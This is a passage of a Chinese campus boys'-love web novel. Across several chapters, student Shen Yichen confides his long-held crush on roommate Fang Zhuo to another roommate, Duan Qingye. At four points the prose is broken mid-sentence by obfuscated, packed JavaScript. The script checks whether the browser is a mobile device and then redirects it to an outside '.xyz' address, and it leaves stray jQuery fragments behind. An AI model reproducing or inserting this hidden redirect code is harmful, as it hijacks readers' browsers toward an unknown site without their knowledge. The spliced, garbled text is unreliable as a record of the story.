反正都表明他有喜欢的人了，怎么也该放心了。 况且本来就是事实嘛，他一句也没骗人。 换寝室的第一天，虽然有些兵荒马乱，但整体还算顺利。舍友都很好，环境也很好。 就是床铺质量不大好，夜里床嘎吱嘎吱响了好几次。 - 沈亦辰早上踩点到教室时，只有后排坐了零零星星的几个人，搞得他差点是他以为走错了地儿。 直到看见邹伦那略带娇媚的笑容，他才坐下来，小心翼翼摊开设计图纸，“什么表情，能不能正常点。” 邹伦早就忍不住吃瓜的心态：“想也能不了啊，快点跟我详细描述一下，你昨晚是怎么和你的大帅哥室友们共度良宵的？~” 沈亦辰往他眉心狠狠一戳，“没有共度，更没有良宵，就跟所有普通男大学生一样上课吃饭睡觉。” 邹伦：“啊，居然这么无聊，不科学啊。这么好的机会你都不好好把握！” 沈亦辰：“把握什么，人家几个都是直男。” 邹伦：“直男怕啥，不想掰弯直男的给子，不是好姐妹！” 沈亦辰：“出门又忘喝中药了？” 邹伦：“……” 邹伦：“对了，等会儿下课，有没有兴趣一起看球赛？” 沈亦辰：“谁对谁？” 邹伦：“电院对计科院。” 还好不是数院。 那群人菜得连他都打不过。 这是他第一个念头。 第二个念头，计科院？ 篮球队挑人首选身高腿长的，如果再有点姿色，就算不会打也会硬被拉去充数。那么像方濯这种条件的，必定“首当其冲”。 但就方濯那一副两耳不闻窗外事一心只读圣贤书的做派，很难讲对篮球有无兴致。 “闲着也是闲着，去看看吧。” 临近正午，室外的光线照得人脑袋发晕。 邹伦在旁边涂了三层防晒霜还不够，还掏出了随身自备的遮阳伞。 沈亦辰：“不至于吧。” 邹伦：“信不信我跟你们这种晒不黑的拼了。” 裁判一声哨响，排列整齐的队员散成一团，比赛正式开始。 沈亦辰随便找了块阴凉地坐下，目光在场上一堆红红蓝蓝的男人中巡逻，且很快锁定了目标。 如果没看错的话，那个穿着16号蓝色球衣的男生，正是方濯。 不仅是方濯，还是不戴眼镜的方濯。 不戴眼镜的方濯，他岂能错过。 两队人过了几招后，场上的优势显然把握在计科院手里。等到比赛进入白热化阶段，球恰好传到方濯怀中。 随着围观走动的人越来越多，原本开阔的视野被切割成了瞬移的碎片。 目标突然被扰乱，沈亦辰变得有点焦灼。 他迅速站起身，利用身高体型优势挤到了观战前线。 一向不会见色忘友的沈亦辰自然也没忘了好基友。邹伦人还没反应过来，就已经被沈亦辰大力拖进了观众群最内圈。 “我靠，你是金刚芭比吗，是不是最近背着我偷偷健身了？怎么力气这么大……” “嘘，别说话。” 邹伦一边揉脖子一边顺着沈亦辰头偏的方向看，同样一眼锁定了焦点人物。 决定生死的最后一球，方濯完成得十分漂亮。球在空中划过标准的抛物线，在篮筐边缘打转半圈后稳稳从中央落下。 那抛物线的完美程度，甚至像提前精密计算过。 原来学霸的运动细胞体现在这里呢。 打完球的方濯似乎并没出什么汗，即使扶着腰喘着粗气，整个人的气质依旧冷峻。 “那个那个！那个是方濯？是不是是不是！我今天才第一次近距离看到他人啊，好帅！！身材比例也好好！心动了呜呜呜！你每天回宿舍都能面对这张脸吗？？嫉妒死我算了！” 邹伦激动得快把沈亦辰摇成筛子了，沈亦辰还在冷静思考要不要给方濯送水这件事。 这儿人这么多，知道他性向的不在少数。 光天化日之下给方濯送水，太明显，太怪了，目的性太强了。 再说他一个社恐，哪有这个胆子啊！ 行不通。 邹伦：“你再跟我说他是直男！你再跟我说一次！让我彻底死心好了！” 沈亦辰叹口气，“其实我也不知道他是不是，他没讲过。” “那就是还有机会！别那么悲观嘛，说不定别人都不敢追，就我们敢，那不就打败80%的人了？人就活一辈子，最坏不就是被拒绝嘛。那万一瞎猫碰上死耗子，咱就和他过上没羞没臊的好生活了呢！勇敢！冲！你不冲我冲！” 邹伦的一番鼓励让犹豫不决的沈亦辰下定了决心，于是他手起刀落、大刀阔斧、当机立断地—— 点开了和方濯的微信聊天窗。 望着停留在好友同意通知的聊天窗，他额角缓缓渗出了一丝汗。 最终，经过反复删删减减，精雕细琢，他保留了一句话：[看你挺累的，要不要给你买瓶水？] 然而等人离开球场，这句话也没发出去。 与之相反，邹伦是个妥妥的行动派。沈亦辰斟酌字句的功夫，他早就去小卖部买好了水，跟着大部队围着方濯转。 在喜欢的人面前，再好的朋友都会有私心。 正常，太正常了。 人之常情，无可厚非。 “这么执着给他送水，请问这家伙是五行缺水吗？” 沈亦辰想也没想：“可能吧。” 下一秒：“？？？？？？” 段清野？？？？ 他吓得手机差点没拿稳，“你怎么在这儿？” “下课了，纯路过。”段清野一脸鄙夷地打量他，“紧张什么，干坏事了啊。” 沈亦辰琢磨起他刚才那句“五行缺水”，这才发觉那句没发出去的消息已经被人尽收眼底。 “没，没有，就是看他好像出了很多汗，随便问问的。” “给那家伙送水的女生都排两圈儿了，你就发个微信？” “……” “而且据我观察，他好像也没怎么流汗吧。” “……你到底是什么时候来的！” “刚刚。” 您还真会挑时机啊！ “你能不能当作没看见，别告诉别人，尤其我们几个室友。” 这可给段清野发挥空间了，“噢，那你怎么感谢我？” “你说。” “好饿，一起吃午饭？” 沈亦辰眉头舒展。 还以为什么呢，一顿午饭就被收买了？ 他轻轻笑，捏着段清野的衣角晃了两下，“这算什么感谢呀，走吧，我跟着你。” - 段清野最常吃的食堂是理工楼后面的梅花食堂。 很巧，沈亦辰也是。 更巧的是，他们连最常去的窗口都一样，爱加的小料和比例也一模一样。 中午十二点，食堂里人头攒动。作为梅花食堂最受欢迎的窗口之一，他们这条队伍更是挤得密不透风。 沈亦辰虽然裸脚有179，但身材整体偏清瘦，偏偏身后是一位肥得流油的大肚腩，逼得他只得紧紧贴着段清野的后背，没有分毫挪动空间。 段清野就不一样了。 他本来就比沈亦辰高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521044|170720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半个头，体型也比沈亦辰大两个号，就这个视角甚至能将其完全遮住。 沈亦辰也纳闷了，这人不知是吃什么长得，穿着T恤没看出来多壮实，结果一贴上去全是紧实的肌肉和流畅的线条。 “沈同学，你总乱动，弄得我背好痒。” 沈亦辰无奈：“是后面挤的，我也没办法，您再忍耐一下吧。” “哎你说，我这算不算被揩油了？怎么办，要报警吗。” “…………”沈亦辰毅然决然地退出队伍，“麻烦您帮我多买一份卤肉饭，我去找位置占座，回头我把钱转给你。” 不等段清野张口，他就毅然决然地扭头，选了两个靠窗的空位坐下。 作为室友，沈亦辰最合格之处就在于A钱快，段清野才刚排上队就收到了他的微信转账。 两分钟后，熟悉的香味钻入鼻腔，惹得沈亦辰直咽唾沫。 “不用转了，请你的。” “那怎么行？” “说请你就请你，别客气，吃吧。” “那下次我请你。” “好。” 话音未落沈亦辰就开始大口刨饭了，结果人家段清野在那儿拿个勺子都慢慢悠悠的。 “你怎么不吃？”沈亦辰瞥瞥他。 段清野拿着勺柄在碗里画圈，“没什么胃口。” 沈亦辰：“刚才是谁嚷嚷着肚子好饿，让我陪你吃饭的。” “就是突然不怎么饿。你要是不够吃就吃我的吧。” 说对了，还真不够吃。 “那我不客气了。” “嗯。” “段清野。” “嗯？” “你喝酒了吗？” “为什么问这个？” “我刚刚在你身上好像闻到了一点。” “你趴在我身上还用力闻？” “？” “果然是个变态。” “……” 他不是。 虽然看上去证据确凿，但他真不是。 到底怎么样才能洗清罪名！ “所以真的喝酒了？”他问。 “一点点吧。” “什么时候？” “夜里。” 就说怎么会有人早上上课还喝酒，只能是晚上。 “没睡着，冰箱里有半瓶剩的，就整了两口。”段清野解释说。 难怪夜里床嘎吱嘎吱响，原来不是做梦啊。 “怎么没睡着，有心事？” 段清野顿了顿，“没事，就是，第一天换寝室不太习惯。” “没想到你还认床呢。” “有点。” 记忆闪回到昨晚他俩微信的聊天内容，沈亦辰放慢了吃饭的速度，“对了，昨晚我给你发的消息……你看了吧。” 段清野没作声，只点了下头。 沈亦辰顿觉形势不妙，便逐渐放下了碗筷，“你……还在生我气吗？” “生什么气，”段清野说，“因为你说我的长相是你的菜？” “…不是。我是怕，我莫名其妙问你的性向，你会感觉被冒犯。其实我是因为以前吃过亏，怕不早点说清以后会有矛盾。我不想和你产生矛盾。看你今天心情不太好，昨天最后一条也没回我，我怕你还在介意昨晚的事。” 见段清野依旧保持沉默，沈亦辰的心更慌了，“你要实在觉得被冒犯，你就打我一下。” 段清野转过头，发现他把眼睛都闭上了，不禁扯出了一个笑。 “我真的生气还和你一起吃饭么。”他揉揉沈亦辰的头发说，“就是昨天没睡好，现在没精神。” 沈亦辰心思比较敏感，尤其在人际关系上。 即使段清野这么说，他也不能完全放心。 不过事缓则圆，现在在这钻牛角尖也没有用，倒不如以后用行动缓和。 反正相处的时间长的很嘛，不急。 “对了，你昨天说，你有喜欢的人，” 沈亦辰刚拿起勺子，又摒住了呼吸，“啊，嗯，对……怎么了？” “这个人，我认识？” 5. 喜欢谁 沈亦辰神经一下子紧绷起来了，“应该、不太。” 段清野若有所思地看看他，沈亦辰是压根不敢跟他直视。 回答模棱两可，那就是认识了。 他们俩也认识不过一天，如果这个人是他们的共同好友，那只能是一个寝室里的人。 那么，答案就显而易见了。 于是他继续问，“我们学校的？” 沈亦辰：“嗯。” 段清野：“帅吗。” 沈亦辰：“嗯……” 段清野：“比我？” 沈亦辰：“你们不是一个风格，没有可比性……” 沈亦辰越说分贝越小，小到自己都快听不见了。 早知道就不那么早开门见山，狼人自爆了。 他自己给自己挖的坑，真怪不得别人八卦。 这么一番简单盘问后，段清野心中的答案已铁板钉钉。 没办法，沈亦辰太单纯了，单纯得一点心眼都不留，心思全都写在脸上。 还好是落在他手里。 要是一些坏家伙，那还得了。 沈亦辰没想过今天会被审判。 连打腹稿的时间都不给，哪有人这么狡猾的！ “八卦完了吧，我饿了，我要吃饭。” 段清野一脸平静地，“嗯，你吃。” 本以为段清野还会刨根问底，结果他一个字都没再问，反倒让人更紧张了。 所以为什么不继续问了呢？ 是没兴趣了？ 怕他为难了？ 还是…… 已经知道是谁了？！！！ 一想到有这种可能，沈亦辰立马开始坐立不安，满脑子只剩一个念头—— 跑。 “我吃差不多了，下午还有课，我先去教室了！” 什么叫落荒而逃，沈亦辰算是亲身体验了。 他逃到空荡荡的教室后，脑子里的两个小人就开始掐架。 一个说知道就知道呗，不就是暗恋了一个男生，没杀人也没防火，这么做贼心虚干嘛，我行得正坐得端，身正不怕影子斜。 一个说你清醒点，你和当事人就在一个宿舍，万一段清野真的广播出去，传到本人耳朵里，你就收拾收拾继续换宿舍吧。 一个又说不会的，段清野不会说出去的，他不是这样的人。 你怎么知道他是什么样的人？你们才认识一天，凭什么？ 凭直觉。 段清野的能量场很强，他一靠近，对方就自然会被吸引。 就算他追不到方濯，他也不想失去段清野这个朋友。这就是直觉。 好烦。 沈亦辰一头栽在桌上。 好困。 睡意朦胧之余，脑海里闪现出在食堂排队时的场景。 段清野身上有股好闻的味道，哪怕裹着淡淡的酒味也掩盖不掉。 不似香水浓烈，也不像沐浴露、洗发水那样过于工业化。 只是一种很淡，很清的香，而且需要靠得很近才闻得见…… …… 再醒来的时候，教室已经坐满了人。 年轻的女教授挂上了小蜜蜂，一句话喷了三次麦，喷得人天灵盖都揭开了。 沈亦辰揉揉惺忪的睡眼，直了直腰杆，发现旁边坐着满面春风的邹伦。 他上下打量对方两眼，“心情很好吗？” 邹伦：“嗯？你怎么知道方濯喝了我送给他的水~？” 沈亦辰：“你？” 吹牛的吧？ 邹伦：“没想到吧~一堆女生中他只挑了我送的水，性取向有待考量哦~” 沈亦辰：“不一定是因为性取向为男吧，也可能是怕其他女生尴尬。” 邹伦：“别泼我冷水，我现在正上头着呢，让人家开心一下怎么了！反正从现在开始，我就是方濯同学的头号梦男！” 沈亦辰心道，不好意思，本人可是从五年前就开始了，论头号梦男还真轮不上你。 课开始不到十分钟，底下莫名一阵骚动。 由于交头接耳的声音太大，女教授不得不呵斥几声维持秩序：“安静，安静！你们都是大三的学生了，不要让我再和高中老师一样操心了。都不许回头看了！看我！看黑板！再看都扣分哈。” 沈亦辰回头偷看半秒，找到了引起骚动的源头。 源头迟到了快十分钟，步子依旧不紧不慢。 他脖子上挂一副红色耳机，头发乱得四处跑，连个书包都没带。看上去是中午回去睡了一觉，还没从睡梦中醒来。 这人有个很神奇的地方，无论他精致还是潦草，衣服的色彩是张扬还是素淡，别人第一眼注意的永远是他的脸。 就这样，段清野懒散地从最后排绕了一大圈，大摇大摆坐在了沈亦辰旁边。 人是坐下来了，眼皮还是阖着，头还是微垂着，状态活像在梦游。 沈亦辰缓缓敲出一个问号：“？醒醒。” 段清野搓了下眉心，似乎没有要醒的意思。 ……昨晚到底几点才睡的啊？ 怎么能困成这样？ “哥，醒醒。”沈亦辰晃晃他的胳膊。 也不知道这称谓怎么就这么好使，叫一声他就立马睁眼了：“现在是几几年？” 沈亦辰：“……” 这人还有个更神奇的地方，就是你永远都猜不到他下一句话会多抽象。 沈亦辰：“困成这样还能找对教室，你挺厉害。” 段清野：“也不全是。” 段清野：“走错了三次才找到。” 沈亦辰：“。” 大意了。 沈亦辰：“我记得你课表下午没课，来上课干嘛。” 段清野：“临时补选的。” 沈亦辰：“为什么，不上课不爽吗？” 段清野也不正面回答，“中午做梦了。” 沈亦辰忍不住笑，“梦到什么了？” “梦到你跟我说你喜欢谁了。” “？” 果然，该来的还是躲不掉。 绕了百八十个弯，还是忘不掉他这一茬。 “…不是说让你忘掉嘛，你什么时候这么八卦了。” “忘不掉。” “那，起码等回去的，还上课呢。” 缓兵之计画个饼，等回去再转别的话题。 “行。” 段清野这边没解决完，他一扭头，看见那边的邹伦哈喇子都快拖到地上了。 “……” 被你们gay子吓晕。 邹伦眼神示意他看微信，一打开就发现被刷屏了。 [邹伦]：！！！快看后面！有个超级无敌大帅哥！ [邹伦]：看清脸了！！！ [邹伦]：草，帅得我有点内个了 [邹伦]：他妈的，帅得让人怒然大勃 [邹伦]：听他们议论我才知道，他是段清野？？？ [邹伦]：不是，，，，也没人跟我说段清野是这款的啊！！！ [邹伦]：！！！！他走过来了，我感觉我没法呼吸了！！！ [邹伦]：他妈的，你每天一回宿舍就能看到这张脸是吗TAT [邹伦]：坐你旁边了，你俩已经很熟了？？ [二辰]：姐姐 [二辰]：正常点 [邹伦]：看到这张脸能不in的是真男同吗？显然不是。 [二辰]：刚才是谁说自己是方濯头号梦男的，是我幻听了吗 [邹伦]：对不起。 [邹伦]：这样吧，方濯送你了，段清野给我，我更吃这一款35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521045|170720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> [二辰]：梦里什么都有。 [邹伦]：我不许你独吞。 [邹伦]：我都打听好了，你们宿舍还有个男生叫姜旭，我要找他换宿舍 [二辰]：0人在意。 [邹伦]：我不管我不管呜呜呜 [邹伦]：睡不到段清野，我这辈子都不离开京大了，今天话就撂在这了。 [邹伦]：靠你了辰辰，给我俩牵桥搭线，事成必有重赏。 [二辰]：他是直男 [二辰]：本人亲口认证 [邹伦]：中药喝少了，误入歧途了。 [邹伦]：给他多开几包，老子死也要把他的异性恋调理好。 沈亦辰直接打开消息免打扰，眼不见为净。 肤浅。 墙头草。 见异思迁。 见一个爱一个。 喜欢一个人难道只靠一张皮囊吗？ 世界上那么多好看的人，真的见一个爱一个吗？ 沈亦辰和他们才不一样。 如果这就称得上喜欢，那这个词未免太廉价、太轻浮了。 他的喜欢，绝对不会如此轻浮。 - 上完晚课已是九点四十多，沈亦辰拖着疲惫的躯壳回到宿舍。 宿舍里充斥着敲键盘和水流交杂的声音。 一边是打游戏的姜旭，一边是仍然在敲代码的方濯，剩下一个大概率在洗澡。 方濯的半框眼镜反射着屏幕的蓝光，密密麻麻的代码在其上快速流转，像台设定好程序的机器。 姜旭打游戏打到一半忍不住爆了句粗口，方濯微不可察地皱了下眉，很快又舒展开。 见沈亦辰走进来，他出乎意料地开口：“沈亦辰。” 沈亦辰对上他反光的镜片，“有事吗？” “打字的声音如果吵到你，跟我说。” 沈亦辰点点头，又摇摇头，“没事，还好的。” “嗯。” 瞧瞧。 多正常的对话。 多礼貌的对话。 礼貌到绝无分毫暧昧的可能。 两天加在一起超不过十句话的关系，说追人简直是天方夜谭。 还是那句话，世上无难事，只要肯放弃。 他又是这么容易内耗的性格，或许从开始就不该妄想吧。 要是他能像段清野一样没心没肺就好了。 至少能活得轻松点。 他盯着某处发了会儿呆，准备敲门问问段清野多久洗完。 结果刚转过身，眼突然地出现一具放大的，沾着水珠的肉-体。 色调是令人舒适的暖白色，肩腰的比例恰到好处，腹部垒块分明而不夸张，富有视觉美感。 更重要的是，和对面两位人机相比，实在是太有活人感了。 肌肤的刮擦引得沈亦辰身体一缩，随后意识回笼，这才意识到他们离得有多近。 他僵在原地愣了愣，茫然地掀开眼帘。 “中午没贴够？” ！！！！！ 沈亦辰飞也似的弹开，两颗眼珠完全找不到支点，“……你干嘛不穿衣服出来？” 肇事者低头瞟了眼自己，不以为然地，“怎么了，有何不妥。” 废话，哪里都不妥！ “你好歹、先问问室友的意见，不是所有人…都想看到室友的果体。” 段清野沉思片刻，“哦，我问了，他们没意见啊。” 沈亦辰：“可是你还没过问我！！！” “不是你说不要对你区别对待嘛，”他若无其事地走过去，抓起沈亦辰的手腕放在自己腹部，“好兄弟之间没什么的，不用有负罪感。喏，想摸随便摸。” 沈亦辰：“。” 这喷不了。 这是真直男。 6. 喜欢谁 以后再没人会质疑他的性向了。 毕竟这种把戏，除了直男中的纯种直男，没人能玩得这么溜。 沈亦辰迅速抽出手，再次落荒而逃。 “胆小鬼。”段清野对着他的背影笑了笑。 他坐在床边，左手抓了件T恤往身上套，右手手心摊开，什么也不做，光盯着看。 仿佛还在回味那块腕骨的触感。 …… 沈亦辰洗完出来，看见段清野还坐在床边。 他十指交叉，直直与他对视，表情意味深长。 很不幸，段清野并没有失忆，他还心心念念着他下午画的大饼。 于是沈亦辰选择自己失忆：“我先睡了，晚安。” 然后前脚刚搭上爬梯，就被一只大手一把擒住了脚踝。 “谈谈。”他说。 沈亦辰不禁咽了口唾沫，慌张地扫了眼另外两人，“可以明天说吗，我现在好困。” 他用几近恳求的语气：“哥。” 段清野心软了0.1秒后，仍然没有放过他的意思，“你说的，回来说。” 他知道如果不能立马得到答案，这将又是一个不眠之夜。 “现在说吧。” 长痛不如短痛。 人都有私心。 提前确定结果，对大家都好。 两人僵持了好一阵，段清野突然站起来，作势走向对面的书桌，“喂，方濯，你——” 后面的话被强硬截断。 沈亦辰也不晓得哪来的力气将他一下子拽倒在床，用力捂住了他的嘴，“你想干嘛。” “我只是想提醒他别忘了明天值日。”段清野移开他的手，“你以为呢？” 这还真不是假话。 这小子天天只知道坐那学习，两耳不闻窗外事的，不提醒一句谁知道他能不能自不自觉？反正他可不愿主动揽室友的活儿干。 真的也好假的也罢，赶鸭子上架到这份上儿，沈亦辰终于双手双脚投降，“你，跟我出来。” …… 谈判的地点定在男寝后面的小凉亭。 位置足够隐蔽，绿化带隔音效果足够好。晚风凉爽，也没有太多蚊子。 两人并排坐在长椅上，开启了谈判。 沈亦辰低头抠着指甲，“你已经猜到是谁了对不对。” 段清野放低音量，“你喜欢方濯。” 听到这个名字，沈亦辰下意识绷紧了弦，甚至还妄图做最后的抗争：“不，” “不是你脸红什么？” 沈亦辰不服气，“天这么黑，你哪里看出我脸红了？” “两只眼睛都看到了。” “才没有。” 黑暗中，沈亦辰的周遭一片模糊，只有段清野的脸清晰分明。 他目不转睛盯着段清野侧脸，并在他看过来的刹那收回了目光。 “是方濯，又怎样。”沈亦辰抿了抿嘴唇，“是谁很重要吗。” 喜欢一个人不丢人。 喜欢一个优秀的人不丢人。 喜欢方濯，更加不丢人。 微凉的空气陷入沉寂。 沈亦辰不明白，为什么段清野那么执着挖出他喜欢的是谁。 难不成方濯本人也猜到了，托他来试探？ 就方濯的性格来说，可能性不大。 而且人家现在对他也没意思，真的有人会花心思打探一个没兴趣的人？ 怎么想都不合理。 “你对他，”少顷，段清野开口，“一见钟情？” “不太算。” “你们不是才刚认识？” 认识一天就喜欢的，怎么可能不是见色起意？ “我很早以前就喜欢他了。” 段清野愣了一下，“…多早？” “高中。” 段清野又沉默了。 沈亦辰如鲠在喉。 还不如连环炮一次性问完呢，这种问法纯属钝刀子割肉。 平时话那么密，问八卦的时候又惜字如金，他到底在想什么？ 好难懂。 坦白局都坦白到这一步了，沈亦辰比他还着急：“我对他不算一见钟情。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521046|170720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然他长得很帅，但是我不是那种只看外在的人。” 段清野托腮仔细回想一番，“……我也没看出那家伙内在有什么魅力啊。” 跟个人机一样，看两眼都能无聊得长茧子的人，到底哪里能看出内在魅力？ 他真是想破脑袋也想不出来。 唯一的慰藉，沈亦辰不是刚进宿舍那天对方濯一见钟情的。 想也知道太匪夷所思了，要真是一见钟情，也应该对他一见钟情才科学。 是，他承认方濯也是个帅哥。 但是吧，帅得太寡淡，帅得太无聊，真的值得喜欢这么多年？ “你不懂啦。”沈亦辰说，“不出意外的话，我可能还会继续喜欢下去。” “我确实不懂。” “你不需要懂，”沈亦辰斜了斜身子，“你不会说出去的，对吧。” 段清野：“你怎么确定。” 沈亦辰：“你是好人，你不会说出去的。” 段清野乐了。 平生第一次有人说他段清野是好人。 “你错了，我不是什么好东西，不要太信任我。” “我说你是就是。” “防范意识这么弱，还这么犟啊？” 树影投在沈亦辰的脸上，那双滚圆的大眼睛直勾勾望着他，写满真诚又楚楚可怜。 段清野很快挪开视线，“是你自己要相信我的…别后悔。” 沈亦辰：“嗯。我相信你。” 段清野：“很晚了，回去睡觉吧。” 沈亦辰：“你不和我一起回去么？” 段清野扯了扯嘴角，“屋里闷，我在这儿凉快凉快。” “好，那我先上去，你也不要太晚了。”沈亦辰小心翼翼地穿过草丛，走到视野明亮处，又转回头，“虽然我知道我跟他不可能，但是跟你说一顿心里舒服多了，谢谢你。” 沈亦辰走后，凉亭中剩下段清野一人。 夏夜的晚风掠过他的身体，一缕不属于这个季节的寒气渗入心脾。 他仰起头，一只手缓缓盖住了双眼。 7. 喜欢谁 回到宿舍后，沈亦辰的心情异常轻松。 一开始他恐惧被盘问，谈完了反倒变得一身轻，心里没什么负担了。 不管怎么说，他算是和段清野坦诚相见、掏心掏肺了，这样他们的友谊就能深一层了。 想到这里，他就开开心心地钻进了被窝。 睡前他给段清野发了句晚安，等到对方也回他个[晚安。]，他才安心入睡。 - 新宿舍的第一个周末，沈亦辰是在床上度过的。 明明昨晚睡得没那么晚，却还是一觉睡到第二天中午。 他在床上伸了个大大的懒腰，迷迷糊糊坐起来，看见了正在洗脸的姜旭。 再往其他床铺上一瞥，发现这个点只有他还在睡。 “他们都出去了吗？” 姜旭：“嗷，对，方濯一大早就背着电脑去图书馆了。学霸嘛，比不了。” 沈亦辰：“段清野呢，他周末也这么卷？” 姜旭：“他？除非太阳打西边出来了哈哈哈。别焦虑别焦虑，据我所知，他平时都睡到下午的，让我们禁止宿舍内卷的不良风气！” 沈亦辰：“那他去哪里了？” 姜旭：“不知道欸，我记得早上方濯走的时候他就没在了，可能去打球了？要不你发微信问问。” 沈亦辰刚拿起手机，觉得没必要对室友有这么强的“控制欲”，就又放下了，“他以前也会大清早打球？” “我不跟你说了嘛，下雨天下雪天他也照样去打，不按常理出牌的。”姜旭说，“对了，晚上有迎新聚餐，你别忘了来。” 社恐的沈亦辰：“可以不去吗。” 姜旭：“我导员说所有专业前20%都得去。晚上六点，我们宿舍四个都不许跑哈，我要严厉监督你们。” 沈亦辰：“好吧。” 有段清野在就好。 就算他不会跟学弟学妹聊天，也可以站在段清野旁边浑水摸鱼，偶尔附和两句。 下午的图书馆预约不到位置，沈亦辰决定在床上写论文。 姜旭也宿舍待了一个下午。 沈亦辰眼睁睁看他从衣柜里翻出了不下十套衣服，不下五款帽子，在镜子前各种凹造型，还时不时问问他的意见：“小辰，你觉得这套怎么样？能不能收获一众迷妹。” 沈亦辰笑了：“我性取向为男，女生的眼光我可拿不准，你要不问问段清野穿什么。” 姜旭：“……他套麻袋都好看，没有参考价值。” 沈亦辰：“也是。” 姜旭：“而且他衣柜里基本都是运动款，要不就是大T恤大裤衩，我衣服比他潮多了。” 沈亦辰：“或者你问方濯。” 姜旭：“那就更别了，想也知道他衣柜里只有各种衬衫和格子衫。” 沈亦辰：“。” 姜旭：“我恨死你们这群天生丽质的人了，往那一站就一堆人要微信，根本不需要花心思好不好！” 要是追方濯也像他说的这么简单就好了。 “欸小辰，你就不想看看有没有帅气学弟之类的？看上哪个我帮你加微信啊。” “不用，我就当去蹭点饭。” “难道你不想谈恋爱吗？~我天天看公园里卿卿我我的情侣，实在受不了了，好想要个甜甜的妹子来治愈我孤寂的心灵。” 沈亦辰鼓励他：“会的。你有恋爱经验，应该不难。” 能谈上的就一直能谈上，谈不上的就一直谈不上。 以前沈亦辰还不信，觉得只是概率问题，现在他彻底信了。 没事。 单着也挺好。 - 聚餐的地点定在岁城很火的一家韩国料理店。 按照京大每年的传统，这顿饭由上两级的学长学姐请客。 作为领头人之一，姜旭主动请缨，提前一小时到场接客。 沈亦辰看了眼群里发的定位，觉得离学校不远，就待在床上多写了会儿作业。 窗外的天色越来越暗，距离约定的时间只剩不到二十分钟，沈亦辰这才慌里慌张爬起来收拾。 这会儿正巧有人旋钥匙进门，他三下五除二套好衣服，穿好了鞋。 刚才发消息给段清野想和他一起去，没想到这么快就来了。 这人进来的步子很轻，几乎没有声音。 等他走到自己位子上，沈亦辰才意识到不是段清野，笑容也随之凝固了。 “方濯？…你怎么这个点就回宿舍了。” “晚上不是有迎新么，回来放下电脑。” “嗷对，不过…我还以为你对迎新不感兴趣。” 此刻，沈亦辰耳边回想起吃烧烤时那句“也不是”。 也不是不想谈恋爱，只是没遇到合适的，迎新是个认识新人的好机会。 再延伸一下就是，已经认识的人里没有他感兴趣的。 再再再延伸一下就是，他对他不感兴趣。 第一步还没迈出去，沈亦辰已经为自己做了全方位的最坏打算。 当然，很快方濯就推翻了他的猜测：“我对迎新确实没什么兴趣。” 沈亦辰：“嗯？” “今天我哥来。” “他也来参加迎新？” “嗯。” “你亲哥哥吗？” “不是。”方濯淡淡道，“我们是重组家庭。” 寥寥几字的回答，让沈亦辰近乎哑然。 难以置信，看上去拒人千里之外的方濯，也会主动提起他的家事。 而且还是这么敏感的话题。 这说明方濯心里是不排斥他的吧？ 如果从朋友做起，会不会有一丝丝希望？ 管他呢。 这么好的机会，不试试怎么知道。 随着心情大落大起，沈亦辰决定主动一次：“我有点找不到路，我可以跟你一起去吗？” 方濯答应得很爽快：“好。” 两人肩并肩走在路上，引来了不少路人的注意。 方濯换了件牛仔蓝的衬衫，手腕上多了块机械表，身上难得没有书包和电脑包，显得更加高挑和清爽。 沈亦辰走在他身后一点，偶尔偷瞄他两眼。 一路人两人不怎么讲话，气氛有些尴尬，沈亦辰只好继续延续话题：“对了，为什么你哥也来参加迎新啊？” “他是京大校友。” “他也是京大毕业的？所以是大我们几届的学长吗？” “嗯。” 没有血缘关系的兄弟，却是同样优秀。 果然不是一家人不进一家门。 “他比你大很多么。” “六岁。” “那他工作了吧。” “嗯，做生意。” 沈亦辰见好就收，不再多问。 虽然有查户口的嫌疑，但起码他和方濯有话题聊了，方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521047|170720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 濯看起来也完全不排斥和他聊这些。 不知道是不是错觉，聊到哥哥的时候，方濯的表情没有平时那么凌厉了。 甚至于…柔和了许多。 平时和哥哥的关系应该很好吧。 重组家庭还能和对方的子女亲近起来，真是不容易。 哥哥一定很照顾他。 